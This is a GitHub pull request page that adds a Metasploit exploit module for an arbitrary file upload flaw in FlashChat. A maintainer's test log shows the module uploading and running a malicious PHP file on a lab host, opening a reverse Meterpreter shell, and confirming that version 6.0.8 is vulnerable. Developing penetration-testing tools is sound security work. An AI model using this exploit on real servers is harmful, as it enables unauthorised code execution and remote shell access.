Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add FlashChat Arbitrary File Upload exploit module #2469

Merged
merged 1 commit into from Oct 5, 2013

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Oct 5, 2013

Add FlashChat Arbitrary File Upload exploit module.

Add FlashChat Arbitrary File Upload

res = send_request_raw({'uri' => uri})

if not res
print_error("#{peer} - Connection timed out")
Copy link
Contributor

@jvazquez-r7 jvazquez-r7 Oct 5, 2013

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use fail_with instead of print_error / return

Copy link
Contributor

@jvazquez-r7 jvazquez-r7 Oct 5, 2013

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Forget the comment above, it is check :)

jvazquez-r7 pushed a commit that referenced this issue Oct 5, 2013
@jvazquez-r7 jvazquez-r7 merged commit 08243b2 into rapid7:master Oct 5, 2013
1 check passed
@jvazquez-r7
Copy link
Contributor

@jvazquez-r7 jvazquez-r7 commented Oct 5, 2013

Landed after minor cleanup available here: 24efb55

Test (exploit and check) (after cleanup):

msf exploit(flashchat_upload_exec) > set rhost 192.168.172.133
rhost => 192.168.172.133
msf exploit(flashchat_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.133:80 - Uploading malicious file...
[*] 192.168.172.133:80 - Executing C9IzBWHgLOBd.php...
[*] Sending stage (39195 bytes) to 192.168.172.133
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.133:48602) at 2013-10-05 14:50:20 -0500
[+] Deleted C9IzBWHgLOBd.php

^C[-] Exploit failed: Interrupt 

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 2.6.32-38-generic #83-Ubuntu SMP Wed Jan 4 11:13:04 UTC 2012 i686
Meterpreter : php/php
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.133 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(flashchat_upload_exec) > check

[*] 192.168.172.133:80 - Version found: 6.0.8
[+] The target is vulnerable.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants